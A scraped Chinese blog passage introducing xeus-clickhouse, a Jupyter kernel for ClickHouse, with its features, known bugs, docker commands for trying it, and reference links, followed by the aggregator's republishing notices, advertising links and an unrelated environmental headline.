項目參考了 jupyter sqlite 內核的實現方式,是基於 xeus [2]框架來實現的。xeus 是一個 c++ 的 lib 庫,它對 jupyter 的內核做了很好的封裝,我們只需要專註於內核相關的功能就可以了。目前對於 ch 的操作基於 clickhouse-cpp 來實現,它是 ch 的 cpp 客戶端。

ch-sql

目前實現處於早期階段,但是基礎功能已經可用。它支持了幾乎 CH 所有 SQL 語法,具體例子可以參考 examples/clickhouse.ipynb [4]。xeus-clickhouse 在 jupyter notebook 和 jupyter lab 中以 HTML 表格的形式展示數據;在 jupyter console 中,我們使用 tabulate 庫只做純文本的表格。

未來

對於 xeus-clickhouse 未來的規劃是,先打磨好穩定性,目前已知的還有一個非法字符導致內核崩潰的問題,已經提交 issue 給 xeus 倉庫;另外clickhouse-cpp 不支持 ssl 連接。除了基礎功能的打磨,還計劃通過支持更多的 jupyter magic 來實現數據的可視化渲染,提供更方便的數據可視化能力。

使用

我製作了一個 Docker 鏡像發布在 docker-hub [3] ,不需要安裝任何環境就可以試用:

# start jupyter with clickhouse kernal
docker run -p 8888:8888 wangfenjin/xeus-clickhouse:v0.1.0

# start a local clickhouse for testing
docker run -d --name jupyter-clickhouse-server -p 8123:8123 --ulimit nofile=262144:262144 yandex/clickhouse-server

# open the example/clickhouse.ipynb and connect to local server by
# %CONNECT --host host.docker.internal --port 8123

在 docker 裏面連接另外一個 docker 中的 ch 可能會有問題,感覺是目前 clickhouse-cpp 對於網絡的處理不太完善。感興趣的同學也可以下載代碼自己編譯,具體的編譯流程見 github 倉庫 [4]。歡迎大家試用!

鏈接

  1. https://blog.jupyter.org/a-jupyter-kernel-for-sqlite-9549c5dcf551
  2. https://github.com/jupyter-xeus/xeus
  3. https://hub.docker.com/r/wangfenjin/xeus-clickhouse
  4. https://github.com/wangfenjin/xeus-clickhouse

  本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

新演算法估計:熱帶非洲植物1/3瀕臨滅絕

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?